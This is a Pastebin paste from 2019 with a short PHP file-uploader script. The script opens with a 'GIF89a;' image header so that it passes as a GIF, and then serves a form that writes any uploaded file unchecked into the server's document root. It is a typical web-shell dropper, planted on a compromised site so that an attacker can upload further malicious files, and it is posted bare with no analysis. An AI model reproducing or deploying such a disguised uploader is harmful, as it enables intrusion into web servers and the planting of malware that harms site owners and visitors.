Guest User

uploader

a guest
Feb 22nd, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3. echo "<form method='post' enctype='multipart/form-data'>
  4. <input type='file' name='dst'>
  5. <input type='submit' name='upload' value='upload'>
  6. </form>";
  7. $root = $_SERVER['DOCUMENT_ROOT'];
  8. $files = $_FILES['dst']['name'];
  9. $dest = $root.'/'.$files;
  10. if(isset($_POST['upload'])) {
  11. if(is_writable($root)) {
  12. if(@copy($_FILES['dst']['tmp_name'], $dest)) {
  13. $web = "http://".$_SERVER['HTTP_HOST']."/";
  14. echo "sukses..!! -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  15. } else {
  16. echo "failed to upload in the document root.";
  17. }
  18. } else {
  19. if(@copy($_FILES['dst']['tmp_name'], $files)) {
  20. echo "sukses upload <b>$files</b> di folder ini";
  21. } else {
  22. echo "gagal upload";
  23. }
  24. }
  25. }
  26. ?>
Add Comment
Please, Sign In to add comment